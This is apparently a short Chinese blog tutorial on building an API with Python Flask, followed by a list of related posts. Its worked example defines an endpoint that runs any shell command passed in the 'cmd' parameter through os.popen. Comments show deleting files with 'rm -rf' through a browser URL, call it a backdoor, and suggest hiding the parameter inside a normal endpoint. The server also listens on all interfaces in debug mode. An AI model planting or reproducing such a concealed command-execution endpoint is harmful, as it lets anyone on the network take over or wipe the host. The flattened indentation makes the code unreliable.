如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
深藏功yu名几秒前
Day24(进阶篇):向量数据库 Chroma_FAISS 深度攻坚 —— 索引优化、性能调优与生产级落地
数据库·人工智能·python·ai·agent·faiss·chroma
2501_924952694 分钟前
分布式缓存一致性
开发语言·c++·算法
njidf22 分钟前
趣味项目与综合实战
jvm·数据库·python
李昊哲小课26 分钟前
PyMySQL完整教程
服务器·数据库·python·pymysql
sqyno1sky30 分钟前
Python数据库操作:SQLAlchemy ORM指南
jvm·数据库·python
Yupureki33 分钟前
《Linux系统编程》12.基础IO
linux·运维·c语言·开发语言·数据库·c++
淮北49434 分钟前
bash下好用的快捷键以及linux常用指令
linux·开发语言·ubuntu·bash
belldeep41 分钟前
python:spaCy 源代码解析,性能优化方法
python·性能优化·cython·spacy
deephub1 小时前
TPU 架构与 Pallas Kernel 编程入门:从内存层次结构到 FlashAttention
人工智能·python·深度学习·tpu